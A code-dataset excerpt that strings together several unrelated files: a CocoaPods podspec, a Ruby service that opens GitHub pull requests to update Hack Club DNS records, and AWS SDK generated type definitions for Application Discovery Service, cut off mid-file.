existing_action ? existing_action : Action.create(:name => name, :permissible_type => type)
end
def self.available_action_names
available_actions.map{|action| action.name}
end
end
| 43.613333 | 166 | 0.624885 |
f741379abbf375a9d48a4cf350629ea33fa0f1cb | 730 |
Pod::Spec.new do |s|
s.name = 'ecspconfig'
s.version = '0.1.5'
s.summary = 'ECSP配置模块'
s.description = <<-DESC
配置管理中心
1.配置文件获取及读取
2.对外提供配置项获取接口
DESC
s.homepage = 'http://www.weqicheng.com'
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.author = { 'eriwachen' => '[email protected]' }
#s.source = { :git => 'https://github.com/<GITHUB_USERNAME>/ecspconfig.git', :tag => s.version.to_s }
s.source = { :svn => "svn://123.56.8.97/ecsp/14-AppSrc/Libs/ios/ecspconfig/" }
s.ios.deployment_target = '8.0'
s.source_files = 'ecspconfig/Classes/**/*'
s.frameworks = 'Foundation'
s.dependency 'ecspbase'
end
| 31.73913 | 113 | 0.549315 |
3835684c4ea400368ebc81131636b329f8b4224a | 3,501 | require 'octokit'
require 'base64'
require 'yaml'
class GithubService
REPO = "hackclub/dns"
FILE = "hackclub.com.yaml"
def self.generate_and_submit_pr(subdomain)
dns_data = get_dns_records
if subdomain.changes
old_name = subdomain&.changes[:name]&.first
dns_data.delete old_name
end
if subdomain.dns_records.any?
dns_data[subdomain[:name]] = []
subdomain.dns_records.each do |dns_record|
add_dns_record(dns_data, subdomain, dns_record[:record_type], dns_record[:value])
end
end
sorted_dns_data = sort_records dns_data
create_pr(sorted_dns_data.to_yaml, "Update #{subdomain[:name]}.hackclub.com", subdomain[:name])
end
def self.update_pr(pr)
pr_gh = client.pull_request(REPO, pr[:number])
blob_sha = client.contents(REPO, path: FILE, ref: pr_gh[:head][:ref]).sha
head_sha = pr_gh[:head][:sha]
subdomain = pr.subdomain
dns_data = get_dns_records(pr_gh[:head][:ref])
if subdomain.changes
old_name = subdomain&.changes[:name]&.first
dns_data.delete old_name
end
if subdomain.dns_records.any?
dns_data[subdomain[:name]] = []
subdomain.dns_records.each do |dns_record|
add_dns_record(dns_data, subdomain, dns_record[:record_type], dns_record[:value])
end
end
sorted_dns_data = sort_records dns_data
client.update_contents(REPO, FILE, "Update #{subdomain[:name]}.hackclub.com", blob_sha, sorted_dns_data.to_yaml, branch: pr_gh[:head][:ref])
end
def self.create_pr(content, message, subdomain_name)
blob_sha = client.contents(REPO, path: FILE).sha
head_sha = client.ref(REPO, "heads/master")[:object][:sha]
branches = client.branches(REPO).pluck(:name)
new_branch_name = branch_name(branches, subdomain_name)
new_ref_name = "heads/#{new_branch_name}"
client.create_ref(REPO, new_ref_name, head_sha)
client.update_contents(REPO, FILE, message, blob_sha, content, branch: new_branch_name)
pull_request = client.create_pull_request(REPO, "master", new_branch_name, message)
end
def self.subdomain_taken?(name)
used_subdomains = get_dns_records.keys
used_subdomains.map(&:downcase).include? name.downcase
end
def self.client
client
end
def self.get_dns_records(ref = "master")
decoded_content = Base64.decode64(client.contents(REPO, path: FILE, ref: ref).content)
YAML.load(decoded_content)
end
private
def self.add_dns_record(content, subdomain, record_type, value)
content[subdomain[:name]] << {
'ttl' => 1,
'type' => record_type,
'value' => "#{value}."
}
content
end
def self.sort_records(records)
sorted_data = Hash[ records.sort_by { |key, val| key } ]
end
# Format: YYYY-MM-DD_add_example_hackclub_com
#
# Padded numbers will be appended at the end of the branch name if a branch
# already exists with the given name.
def self.branch_name(existing_branches, subdomain, snake_case = true)
base = snake_case ? "#{Date.current.iso8601}_add_#{subdomain}_hackclub_com" : "#{Date.current.iso8601} add #{subdomain}.hackclub.com"
name = base
count = 2
while existing_branches.include? name
padded_num = count.to_s.rjust(2, '0')
name = base + '-' + padded_num
count += 1
end
name
end
def self.client
@client ||= Octokit::Client.new(access_token: Rails.application.credentials[:github_token])
@client.auto_paginate = true
return @client
end
end
| 28.696721 | 144 | 0.694373 |
b95f4f1fe43d3f9747928a96e77bf7d773dfb0c8 | 62,622 | # frozen_string_literal: true
# WARNING ABOUT GENERATED CODE
#
# This file is generated. See the contributing guide for more information:
# https://github.com/aws/aws-sdk-ruby/blob/master/CONTRIBUTING.md
#
# WARNING ABOUT GENERATED CODE
module Aws::ApplicationDiscoveryService
module Types
# Information about agents or connectors that were instructed to start
# collecting data. Information includes the agent/connector ID, a
# description of the operation, and whether the agent/connector
# configuration was updated.
#
# @!attribute [rw] agent_id
# The agent/connector ID.
# @return [String]
#
# @!attribute [rw] operation_succeeded
# Information about the status of the `StartDataCollection` and
# `StopDataCollection` operations. The system has recorded the data
# collection operation. The agent/connector receives this command the
# next time it polls for a new command.
# @return [Boolean]
#
# @!attribute [rw] description
# A description of the operation performed.
# @return [String]
#
class AgentConfigurationStatus < Struct.new(
:agent_id,
:operation_succeeded,
:description)
include Aws::Structure
end
# Information about agents or connectors associated with the user’s AWS
# account. Information includes agent or connector IDs, IP addresses,
# media access control (MAC) addresses, agent or connector health,
# hostname where the agent or connector resides, and agent version for
# each agent.
#
# @!attribute [rw] agent_id
# The agent or connector ID.
# @return [String]
#
# @!attribute [rw] host_name
# The name of the host where the agent or connector resides. The host
# can be a server or virtual machine.
# @return [String]
#
# @!attribute [rw] agent_network_info_list
# Network details about the host where the agent or connector resides.
# @return [Array<Types::AgentNetworkInfo>]
#
# @!attribute [rw] connector_id
# The ID of the connector.
# @return [String]
#
# @!attribute [rw] version
# The agent or connector version.
# @return [String]
#
# @!attribute [rw] health
# The health of the agent or connector.
# @return [String]
#
# @!attribute [rw] last_health_ping_time
# Time since agent or connector health was reported.
# @return [String]
#
# @!attribute [rw] collection_status
# Status of the collection process for an agent or connector.
# @return [String]
#
# @!attribute [rw] agent_type
# Type of agent.
# @return [String]
#
# @!attribute [rw] registered_time
# Agent's first registration timestamp in UTC.
# @return [String]
#
class AgentInfo < Struct.new(
:agent_id,
:host_name,
:agent_network_info_list,
:connector_id,
:version,
:health,
:last_health_ping_time,
:collection_status,
:agent_type,
:registered_time)
include Aws::Structure
end
# Network details about the host where the agent/connector resides.
#
# @!attribute [rw] ip_address
# The IP address for the host where the agent/connector resides.
# @return [String]
#
# @!attribute [rw] mac_address
# The MAC address for the host where the agent/connector resides.
# @return [String]
#
class AgentNetworkInfo < Struct.new(
:ip_address,
:mac_address)
include Aws::Structure
end
# @note When making an API call, you may pass AssociateConfigurationItemsToApplicationRequest
# data as a hash:
#
# {
# application_configuration_id: "ApplicationId", # required
# configuration_ids: ["ConfigurationId"], # required
# }
#
# @!attribute [rw] application_configuration_id
# The configuration ID of an application with which items are to be
# associated.
# @return [String]
#
# @!attribute [rw] configuration_ids
# The ID of each configuration item to be associated with an
# application.
# @return [Array<String>]
#
class AssociateConfigurationItemsToApplicationRequest < Struct.new(
:application_configuration_id,
:configuration_ids)
include Aws::Structure
end
class AssociateConfigurationItemsToApplicationResponse < Aws::EmptyStructure; end
# The AWS user account does not have permission to perform the action.
# Check the IAM policy associated with this account.
#
# @!attribute [rw] message
# @return [String]
#
class AuthorizationErrorException < Struct.new(
:message)
include Aws::Structure
end
# Error messages returned for each import task that you deleted as a
# response for this command.
#
# @!attribute [rw] import_task_id
# The unique import ID associated with the error that occurred.
# @return [String]
#
# @!attribute [rw] error_code
# The type of error that occurred for a specific import task.
# @return [String]
#
# @!attribute [rw] error_description
# The description of the error that occurred for a specific import
# task.
# @return [String]
#
class BatchDeleteImportDataError < Struct.new(
:import_task_id,
:error_code,
:error_description)
include Aws::Structure
end
# @note When making an API call, you may pass BatchDeleteImportDataRequest
# data as a hash:
#
# {
# import_task_ids: ["ImportTaskIdentifier"], # required
# }
#
# @!attribute [rw] import_task_ids
# The IDs for the import tasks that you want to delete.
# @return [Array<String>]
#
class BatchDeleteImportDataRequest < Struct.new(
:import_task_ids)
include Aws::Structure
end
# @!attribute [rw] errors
# Error messages returned for each import task that you deleted as a
# response for this command.
# @return [Array<Types::BatchDeleteImportDataError>]
#
class BatchDeleteImportDataResponse < Struct.new(
:errors)
include Aws::Structure
end
# Tags for a configuration item. Tags are metadata that help you
# categorize IT assets.
#
# @!attribute [rw] configuration_type
# A type of IT asset to tag.
# @return [String]
#
# @!attribute [rw] configuration_id
# The configuration ID for the item to tag. You can specify a list of
# keys and values.
# @return [String]
#
# @!attribute [rw] key
# A type of tag on which to filter. For example, *serverType*.
# @return [String]
#
# @!attribute [rw] value
# A value on which to filter. For example *key = serverType* and
# *value = web server*.
# @return [String]
#
# @!attribute [rw] time_of_creation
# The time the configuration tag was created in Coordinated Universal
# Time (UTC).
# @return [Time]
#
class ConfigurationTag < Struct.new(
:configuration_type,
:configuration_id,
:key,
:value,
:time_of_creation)
include Aws::Structure
end
# @!attribute [rw] message
# @return [String]
#
class ConflictErrorException < Struct.new(
:message)
include Aws::Structure
end
# A list of continuous export descriptions.
#
# @!attribute [rw] export_id
# The unique ID assigned to this export.
# @return [String]
#
# @!attribute [rw] status
# Describes the status of the export. Can be one of the following
# values:
#
# * START\_IN\_PROGRESS - setting up resources to start continuous
# export.
#
# * START\_FAILED - an error occurred setting up continuous export. To
# recover, call start-continuous-export again.
#
# * ACTIVE - data is being exported to the customer bucket.
#
# * ERROR - an error occurred during export. To fix the issue, call
# stop-continuous-export and start-continuous-export.
#
# * STOP\_IN\_PROGRESS - stopping the export.
#
# * STOP\_FAILED - an error occurred stopping the export. To recover,
# call stop-continuous-export again.
#
# * INACTIVE - the continuous export has been stopped. Data is no
# longer being exported to the customer bucket.
# @return [String]
#
# @!attribute [rw] status_detail
# Contains information about any errors that have occurred. This data
# type can have the following values:
#
# * ACCESS\_DENIED - You don’t have permission to start Data
# Exploration in Amazon Athena. Contact your AWS administrator for
# help. For more information, see [Setting Up AWS Application
# Discovery Service][1] in the Application Discovery Service User
# Guide.
#
# * DELIVERY\_STREAM\_LIMIT\_FAILURE - You reached the limit for
# Amazon Kinesis Data Firehose delivery streams. Reduce the number
# of streams or request a limit increase and try again. For more
# information, see [Kinesis Data Streams Limits][2] in the Amazon
# Kinesis Data Streams Developer Guide.
#
# * FIREHOSE\_ROLE\_MISSING - The Data Exploration feature is in an
# error state because your IAM User is missing the
# AWSApplicationDiscoveryServiceFirehose role. Turn on Data
# Exploration in Amazon Athena and try again. For more information,
# see [Step 3: Provide Application Discovery Service Access to
# Non-Administrator Users by Attaching Policies][3] in the
# Application Discovery Service User Guide.
#
# * FIREHOSE\_STREAM\_DOES\_NOT\_EXIST - The Data Exploration feature
# is in an error state because your IAM User is missing one or more
# of the Kinesis data delivery streams.
#
# * INTERNAL\_FAILURE - The Data Exploration feature is in an error
# state because of an internal failure. Try again later. If this
# problem persists, contact AWS Support.
#
# * S3\_BUCKET\_LIMIT\_FAILURE - You reached the limit for Amazon S3
# buckets. Reduce the number of Amazon S3 buckets or request a limit
# increase and try again. For more information, see [Bucket
# Restrictions and Limitations][4] in the Amazon Simple Storage
# Service Developer Guide.
#
# * S3\_NOT\_SIGNED\_UP - Your account is not signed up for the Amazon
# S3 service. You must sign up before you can use Amazon S3. You can
# sign up at the following URL: [https://aws.amazon.com/s3][5].
#
#
#
# [1]: http://docs.aws.amazon.com/application-discovery/latest/userguide/setting-up.html
# [2]: http://docs.aws.amazon.com/streams/latest/dev/service-sizes-and-limits.html
# [3]: http://docs.aws.amazon.com/application-discovery/latest/userguide/setting-up.html#setting-up-user-policy
# [4]: http://docs.aws.amazon.com/AmazonS3/latest/dev/BucketRestrictions.html
# [5]: https://aws.amazon.com/s3
# @return [String]
#
# @!attribute [rw] s3_bucket
# The name of the s3 bucket where the export data parquet files are
# stored.
# @return [String]
#
# @!attribute [rw] start_time
# The timestamp representing when the continuous export was started.
# @return [Time]
#
# @!attribute [rw] stop_time
# The timestamp that represents when this continuous export was
# stopped.
# @return [Time]
#
# @!attribute [rw] data_source
# The type of data collector used to gather this data (currently only
# offered for AGENT).
# @return [String]
#
# @!attribute [rw] schema_storage_config
# An object which describes how the data is stored.
#
# * `databaseName` - the name of the Glue database used to store the
# schema.
#
# ^
# @return [Hash<String,String>]
#
class ContinuousExportDescription < Struct.new(
:export_id,
:status,
:status_detail,
:s3_bucket,
:start_time,
:stop_time,
:data_source,
:schema_storage_config)
include Aws::Structure
end
# @note When making an API call, you may pass CreateApplicationRequest
# data as a hash:
#
# {
# name: "String", # required
# description: "String",
# }
#
# @!attribute [rw] name
# Name of the application to be created.
# @return [String]
#
# @!attribute [rw] description
# Description of the application to be created.
# @return [String]
#
class CreateApplicationRequest < Struct.new(
:name,
:description)
include Aws::Structure
end
# @!attribute [rw] configuration_id
# Configuration ID of an application to be created.
# @return [String]
#
class CreateApplicationResponse < Struct.new(
:configuration_id)
include Aws::Structure
end
# @note When making an API call, you may pass CreateTagsRequest
# data as a hash:
#
# {
# configuration_ids: ["ConfigurationId"], # required
# tags: [ # required
# {
# key: "TagKey", # required
# value: "TagValue", # required
# },
# ],
# }
#
# @!attribute [rw] configuration_ids
# A list of configuration items that you want to tag.
# @return [Array<String>]
#
# @!attribute [rw] tags
# Tags that you want to associate with one or more configuration
# items. Specify the tags that you want to create in a *key*-*value*
# format. For example:
#
# `\{"key": "serverType", "value": "webServer"\}`
# @return [Array<Types::Tag>]
#
class CreateTagsRequest < Struct.new(
:configuration_ids,
:tags)
include Aws::Structure
end
class CreateTagsResponse < Aws::EmptyStructure; end
# Inventory data for installed discovery agents.
#
# @!attribute [rw] active_agents
# Number of active discovery agents.
# @return [Integer]
#
# @!attribute [rw] healthy_agents
# Number of healthy discovery agents
# @return [Integer]
#
# @!attribute [rw] black_listed_agents
# Number of blacklisted discovery agents.
# @return [Integer]
#
# @!attribute [rw] shutdown_agents
# Number of discovery agents with status SHUTDOWN.
# @return [Integer]
#
# @!attribute [rw] unhealthy_agents
# Number of unhealthy discovery agents.
# @return [Integer]
#
# @!attribute [rw] total_agents
# Total number of discovery agents.
# @return [Integer]
#
# @!attribute [rw] unknown_agents
# Number of unknown discovery agents.
# @return [Integer]
#
class CustomerAgentInfo < Struct.new(
:active_agents,
:healthy_agents,
:black_listed_agents,
:shutdown_agents,
:unhealthy_agents,
:total_agents,
:unknown_agents)
include Aws::Structure
end
# Inventory data for installed discovery connectors.
#
# @!attribute [rw] active_connectors
# Number of active discovery connectors.
# @return [Integer]
#
# @!attribute [rw] healthy_connectors
# Number of healthy discovery connectors.
# @return [Integer]
#
# @!attribute [rw] black_listed_connectors
# Number of blacklisted discovery connectors.
# @return [Integer]
#
# @!attribute [rw] shutdown_connectors
# Number of discovery connectors with status SHUTDOWN,
# @return [Integer]
#
# @!attribute [rw] unhealthy_connectors
# Number of unhealthy discovery connectors.
# @return [Integer]
#
# @!attribute [rw] total_connectors
# Total number of discovery connectors.
# @return [Integer]
#
# @!attribute [rw] unknown_connectors
# Number of unknown discovery connectors.
# @return [Integer]
#
class CustomerConnectorInfo < Struct.new(
:active_connectors,
:healthy_connectors,
:black_listed_connectors,
:shutdown_connectors,
:unhealthy_connectors,
:total_connectors,
:unknown_connectors)
include Aws::Structure
end
# @note When making an API call, you may pass DeleteApplicationsRequest
# data as a hash:
#
# {
# configuration_ids: ["ApplicationId"], # required
# }
#
# @!attribute [rw] configuration_ids
# Configuration ID of an application to be deleted.
# @return [Array<String>]
#
class DeleteApplicationsRequest < Struct.new(
:configuration_ids)
include Aws::Structure
end
class DeleteApplicationsResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass DeleteTagsRequest
# data as a hash:
#
# {
# configuration_ids: ["ConfigurationId"], # required
# tags: [
# {
# key: "TagKey", # required
# value: "TagValue", # required
# },
# ],
# }
#
# @!attribute [rw] configuration_ids
# A list of configuration items with tags that you want to delete.
# @return [Array<String>]
#
# @!attribute [rw] tags
# Tags that you want to delete from one or more configuration items.
# Specify the tags that you want to delete in a *key*-*value* format.
# For example:
#
# `\{"key": "serverType", "value": "webServer"\}`
# @return [Array<Types::Tag>]
#
class DeleteTagsRequest < Struct.new(
:configuration_ids,
:tags)
include Aws::Structure
end
class DeleteTagsResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass DescribeAgentsRequest
# data as a hash:
#
# {
# agent_ids: ["AgentId"],
# filters: [
# {
# name: "String", # required
# values: ["FilterValue"], # required
# condition: "Condition", # required
# },
# ],
# max_results: 1,
# next_token: "NextToken",
# }
#
# @!attribute [rw] agent_ids
# The agent or the Connector IDs for which you want information. If
# you specify no IDs, the system returns information about all
# agents/Connectors associated with your AWS user account.
# @return [Array<String>]
#
# @!attribute [rw] filters
# You can filter the request using various logical operators and a
# *key*-*value* format. For example:
#
# `\{"key": "collectionStatus", "value": "STARTED"\}`
# @return [Array<Types::Filter>]
#
# @!attribute [rw] max_results
# The total number of agents/Connectors to return in a single page of
# output. The maximum value is 100.
# @return [Integer]
#
# @!attribute [rw] next_token
# Token to retrieve the next set of results. For example, if you
# previously specified 100 IDs for `DescribeAgentsRequest$agentIds`
# but set `DescribeAgentsRequest$maxResults` to 10, you received a set
# of 10 results along with a token. Use that token in this query to
# get the next set of 10.
# @return [String]
#
class DescribeAgentsRequest < Struct.new(
:agent_ids,
:filters,
:max_results,
:next_token)
include Aws::Structure
end
# @!attribute [rw] agents_info
# Lists agents or the Connector by ID or lists all agents/Connectors
# associated with your user account if you did not specify an
# agent/Connector ID. The output includes agent/Connector IDs, IP
# addresses, media access control (MAC) addresses, agent/Connector
# health, host name where the agent/Connector resides, and the version
# number of each agent/Connector.
# @return [Array<Types::AgentInfo>]
#
# @!attribute [rw] next_token
# Token to retrieve the next set of results. For example, if you
# specified 100 IDs for `DescribeAgentsRequest$agentIds` but set
# `DescribeAgentsRequest$maxResults` to 10, you received a set of 10
# results along with this token. Use this token in the next query to
# retrieve the next set of 10.
# @return [String]
#
class DescribeAgentsResponse < Struct.new(
:agents_info,
:next_token)
include Aws::Structure
end
# @note When making an API call, you may pass DescribeConfigurationsRequest
# data as a hash:
#
# {
# configuration_ids: ["ConfigurationId"], # required
# }
#
# @!attribute [rw] configuration_ids
# One or more configuration IDs.
# @return [Array<String>]
#
class DescribeConfigurationsRequest < Struct.new(
:configuration_ids)
include Aws::Structure
end
# @!attribute [rw] configurations
# A key in the response map. The value is an array of data.
# @return [Array<Hash<String,String>>]
#
class DescribeConfigurationsResponse < Struct.new(
:configurations)
include Aws::Structure
end
# @note When making an API call, you may pass DescribeContinuousExportsRequest
# data as a hash:
#
# {
# export_ids: ["ConfigurationsExportId"],
# max_results: 1,
# next_token: "NextToken",
# }
#
# @!attribute [rw] export_ids
# The unique IDs assigned to the exports.
# @return [Array<String>]
#
# @!attribute [rw] max_results
# A number between 1 and 100 specifying the maximum number of
# continuous export descriptions returned.
# @return [Integer]
#
# @!attribute [rw] next_token
# The token from the previous call to `DescribeExportTasks`.
# @return [String]
#
class DescribeContinuousExportsRequest < Struct.new(
:export_ids,
:max_results,
:next_token)
include Aws::Structure
end
# @!attribute [rw] descriptions
# A list of continuous export descriptions.
# @return [Array<Types::ContinuousExportDescription>]
#
# @!attribute [rw] next_token
# The token from the previous call to `DescribeExportTasks`.
# @return [String]
#
class DescribeContinuousExportsResponse < Struct.new(
:descriptions,
:next_token)
include Aws::Structure
end
# @note When making an API call, you may pass DescribeExportConfigurationsRequest
# data as a hash:
#
# {
# export_ids: ["ConfigurationsExportId"],
# max_results: 1,
# next_token: "NextToken",
# }
#
# @!attribute [rw] export_ids
# A list of continuous export IDs to search for.
# @return [Array<String>]
#
# @!attribute [rw] max_results
# A number between 1 and 100 specifying the maximum number of
# continuous export descriptions returned.
# @return [Integer]
#
# @!attribute [rw] next_token
# The token from the previous call to describe-export-tasks.
# @return [String]
#
class DescribeExportConfigurationsRequest < Struct.new(
:export_ids,
:max_results,
:next_token)
include Aws::Structure
end
# @!attribute [rw] exports_info
# @return [Array<Types::ExportInfo>]
#
# @!attribute [rw] next_token
# The token from the previous call to describe-export-tasks.
# @return [String]
#
class DescribeExportConfigurationsResponse < Struct.new(
:exports_info,
:next_token)
include Aws::Structure
end
# @note When making an API call, you may pass DescribeExportTasksRequest
# data as a hash:
#
# {
# export_ids: ["ConfigurationsExportId"],
# filters: [
# {
# name: "FilterName", # required
# values: ["FilterValue"], # required
# condition: "Condition", # required
# },
# ],
# max_results: 1,
# next_token: "NextToken",
# }
#
# @!attribute [rw] export_ids
# One or more unique identifiers used to query the status of an export
# request.
# @return [Array<String>]
#
# @!attribute [rw] filters
# One or more filters.
#
# * `AgentId` - ID of the agent whose collected data will be exported
#
# ^
# @return [Array<Types::ExportFilter>]
#
# @!attribute [rw] max_results
# The maximum number of volume results returned by
# `DescribeExportTasks` in paginated output. When this parameter is
# used, `DescribeExportTasks` only returns `maxResults` results in a
# single page along with a `nextToken` response element.
# @return [Integer]
#
# @!attribute [rw] next_token
# The `nextToken` value returned from a previous paginated
# `DescribeExportTasks` request where `maxResults` was used and the
# results exceeded the value of that parameter. Pagination continues
# from the end of the previous results that returned the `nextToken`
# value. This value is null when there are no more results to return.
# @return [String]
#
class DescribeExportTasksRequest < Struct.new(
:export_ids,
:filters,
:max_results,
:next_token)
include Aws::Structure
end
# @!attribute [rw] exports_info
# Contains one or more sets of export request details. When the status
# of a request is `SUCCEEDED`, the response includes a URL for an
# Amazon S3 bucket where you can view the data in a CSV file.
# @return [Array<Types::ExportInfo>]
#
# @!attribute [rw] next_token
# The `nextToken` value to include in a future `DescribeExportTasks`
# request. When the results of a `DescribeExportTasks` request exceed
# `maxResults`, this value can be used to retrieve the next page of
# results. This value is null when there are no more results to
# return.
# @return [String]
#
class DescribeExportTasksResponse < Struct.new(
:exports_info,
:next_token)
include Aws::Structure
end
# @note When making an API call, you may pass DescribeImportTasksRequest
# data as a hash:
#
# {
# filters: [
# {
# name: "IMPORT_TASK_ID", # accepts IMPORT_TASK_ID, STATUS, NAME
# values: ["ImportTaskFilterValue"],
# },
# ],
# max_results: 1,
# next_token: "NextToken",
# }
#
# @!attribute [rw] filters
# An array of name-value pairs that you provide to filter the results
# for the `DescribeImportTask` request to a specific subset of
# results. Currently, wildcard values aren't supported for filters.
# @return [Array<Types::ImportTaskFilter>]
#
# @!attribute [rw] max_results
# The maximum number of results that you want this request to return,
# up to 100.
# @return [Integer]
#
# @!attribute [rw] next_token
# The token to request a specific page of results.
# @return [String]
#
class DescribeImportTasksRequest < Struct.new(
:filters,
:max_results,
:next_token)
include Aws::Structure
end
# @!attribute [rw] next_token
# The token to request the next page of results.
# @return [String]
#
# @!attribute [rw] tasks
# A returned array of import tasks that match any applied filters, up
# to the specified number of maximum results.
# @return [Array<Types::ImportTask>]
#
class DescribeImportTasksResponse < Struct.new(
:next_token,
:tasks)
include Aws::Structure
end
# @note When making an API call, you may pass DescribeTagsRequest
# data as a hash:
#
# {
# filters: [
# {
# name: "FilterName", # required
# values: ["FilterValue"], # required
# },
# ],
# max_results: 1,
# next_token: "NextToken",
# }
#
# @!attribute [rw] filters
# You can filter the list using a *key*-*value* format. You can
# separate these items by using logical operators. Allowed filters
# include `tagKey`, `tagValue`, and `configurationId`.
# @return [Array<Types::TagFilter>]
#
# @!attribute [rw] max_results
# The total number of items to return in a single page of output. The
# maximum value is 100.
# @return [Integer]
#
# @!attribute [rw] next_token
# A token to start the list. Use this token to get the next set of
# results.
# @return [String]
#
class DescribeTagsRequest < Struct.new(
:filters,
:max_results,
:next_token)
include Aws::Structure
end
# @!attribute [rw] tags
# Depending on the input, this is a list of configuration items tagged
# with a specific tag, or a list of tags for a specific configuration
# item.
# @return [Array<Types::ConfigurationTag>]
#
# @!attribute [rw] next_token
# The call returns a token. Use this token to get the next set of
# results.
# @return [String]
#
class DescribeTagsResponse < Struct.new(
:tags,
:next_token)
include Aws::Structure
end
# @note When making an API call, you may pass DisassociateConfigurationItemsFromApplicationRequest
# data as a hash:
#
# {
# application_configuration_id: "ApplicationId", # required
# configuration_ids: ["ConfigurationId"], # required
# }
#
# @!attribute [rw] application_configuration_id
# Configuration ID of an application from which each item is
# disassociated.
# @return [String]
#
# @!attribute [rw] configuration_ids
# Configuration ID of each item to be disassociated from an
# application.
# @return [Array<String>]
#
class DisassociateConfigurationItemsFromApplicationRequest < Struct.new(
:application_configuration_id,
:configuration_ids)
include Aws::Structure
end
class DisassociateConfigurationItemsFromApplicationResponse < Aws::EmptyStructure; end
# @!attribute [rw] export_id
# A unique identifier that you can use to query the export status.
# @return [String]
#
class ExportConfigurationsResponse < Struct.new(
:export_id)
include Aws::Structure
end
# Used to select which agent's data is to be exported. A single agent
# ID may be selected for export using the [StartExportTask][1] action.
#
#
#
# [1]: http://docs.aws.amazon.com/application-discovery/latest/APIReference/API_StartExportTask.html
#
# @note When making an API call, you may pass ExportFilter
# data as a hash:
#
# {
# name: "FilterName", # required
# values: ["FilterValue"], # required
# condition: "Condition", # required
# }
#
# @!attribute [rw] name
# A single `ExportFilter` name. Supported filters: `agentId`.
# @return [String]
#
# @!attribute [rw] values
# A single `agentId` for a Discovery Agent. An `agentId` can be found
# using the [DescribeAgents][1] action. Typically an ADS `agentId` is
# in the form `o-0123456789abcdef0`.
#
#
#
# [1]: http://docs.aws.amazon.com/application-discovery/latest/APIReference/API_DescribeExportTasks.html
# @return [Array<String>]
#
# @!attribute [rw] condition
# Supported condition: `EQUALS`
# @return [String]
#
class ExportFilter < Struct.new(
:name,
:values,
:condition)
include Aws::Structure
end
# Information regarding the export status of discovered data. The value
# is an array of objects.
#
# @!attribute [rw] export_id
# A unique identifier used to query an export.
# @return [String]
#
# @!attribute [rw] export_status
# The status of the data export job.
# @return [String]
#
# @!attribute [rw] status_message
# A status message provided for API callers.
# @return [String]
#
# @!attribute [rw] configurations_download_url
# A URL for an Amazon S3 bucket where you can review the exported
# data. The URL is displayed only if the export succeeded.
# @return [String]
#
# @!attribute [rw] export_request_time
# The time that the data export was initiated.
# @return [Time]
#
# @!attribute [rw] is_truncated
# If true, the export of agent information exceeded the size limit for
# a single export and the exported data is incomplete for the
# requested time range. To address this, select a smaller time range
# for the export by using `startDate` and `endDate`.
# @return [Boolean]
#
# @!attribute [rw] requested_start_time
# The value of `startTime` parameter in the `StartExportTask` request.
# If no `startTime` was requested, this result does not appear in
# `ExportInfo`.
# @return [Time]
#
# @!attribute [rw] requested_end_time
# The `endTime` used in the `StartExportTask` request. If no `endTime`
# was requested, this result does not appear in `ExportInfo`.
# @return [Time]
#
class ExportInfo < Struct.new(
:export_id,
:export_status,
:status_message,
:configurations_download_url,
:export_request_time,
:is_truncated,
:requested_start_time,
:requested_end_time)
include Aws::Structure
end
# A filter that can use conditional operators.
#
# For more information about filters, see [Querying Discovered
# Configuration Items][1] in the *AWS Application Discovery Service User
# Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/application-discovery/latest/userguide/discovery-api-queries.html
#
# @note When making an API call, you may pass Filter
# data as a hash:
#
# {
# name: "String", # required
# values: ["FilterValue"], # required
# condition: "Condition", # required
# }
#
# @!attribute [rw] name
# The name of the filter.
# @return [String]
#
# @!attribute [rw] values
# A string value on which to filter. For example, if you choose the
# `destinationServer.osVersion` filter name, you could specify
# `Ubuntu` for the value.
# @return [Array<String>]
#
# @!attribute [rw] condition
# A conditional operator. The following operators are valid: EQUALS,
# NOT\_EQUALS, CONTAINS, NOT\_CONTAINS. If you specify multiple
# filters, the system utilizes all filters as though concatenated by
# *AND*. If you specify multiple values for a particular filter, the
# system differentiates the values using *OR*. Calling either
# *DescribeConfigurations* or *ListConfigurations* returns attributes
# of matching configuration items.
# @return [String]
#
class Filter < Struct.new(
:name,
:values,
:condition)
include Aws::Structure
end
# @api private
#
class GetDiscoverySummaryRequest < Aws::EmptyStructure; end
# @!attribute [rw] servers
# The number of servers discovered.
# @return [Integer]
#
# @!attribute [rw] applications
# The number of applications discovered.
# @return [Integer]
#
# @!attribute [rw] servers_mapped_to_applications
# The number of servers mapped to applications.
# @return [Integer]
#
# @!attribute [rw] servers_mappedto_tags
# The number of servers mapped to tags.
# @return [Integer]
#
# @!attribute [rw] agent_summary
# Details about discovered agents, including agent status and health.
# @return [Types::CustomerAgentInfo]
#
# @!attribute [rw] connector_summary
# Details about discovered connectors, including connector status and
# health.
# @return [Types::CustomerConnectorInfo]
#
class GetDiscoverySummaryResponse < Struct.new(
:servers,
:applications,
:servers_mapped_to_applications,
:servers_mappedto_tags,
:agent_summary,
:connector_summary)
include Aws::Structure
end
# The home region is not set. Set the home region to continue.
#
# @!attribute [rw] message
# @return [String]
#
class HomeRegionNotSetException < Struct.new(
:message)
include Aws::Structure
end
# An array of information related to the import task request that
# includes status information, times, IDs, the Amazon S3 Object URL for
# the import file, and more.
#
# @!attribute [rw] import_task_id
# The unique ID for a specific import task. These IDs aren't globally
# unique, but they are unique within an AWS account.
# @return [String]
#
# @!attribute [rw] client_request_token
# A unique token used to prevent the same import request from
# occurring more than once. If you didn't provide a token, a token
# was automatically generated when the import task request was sent.
# @return [String]
#
# @!attribute [rw] name
# A descriptive name for an import task. You can use this name to
# filter future requests related to this import task, such as
# identifying applications and servers that were included in this
# import task. We recommend that you use a meaningful name for each
# import task.
# @return [String]
#
# @!attribute [rw] import_url
# The URL for your import file that you've uploaded to Amazon S3.
# @return [String]
#
# @!attribute [rw] status
# The status of the import task. An import can have the status of
# `IMPORT_COMPLETE` and still have some records fail to import from
# the overall request. More information can be found in the
# downloadable archive defined in the `errorsAndFailedEntriesZip`
# field, or in the Migration Hub management console.
# @return [String]
#
# @!attribute [rw] import_request_time
# The time that the import task request was made, presented in the
# Unix time stamp format.
# @return [Time]
#
# @!attribute [rw] import_completion_time
# The time that the import task request finished, presented in the
# Unix time stamp format.
# @return [Time]
#
# @!attribute [rw] import_deleted_time
# The time that the import task request was deleted, presented in the
# Unix time stamp format.
# @return [Time]
#
# @!attribute [rw] server_import_success
# The total number of server records in the import file that were
# successfully imported.
# @return [Integer]
#
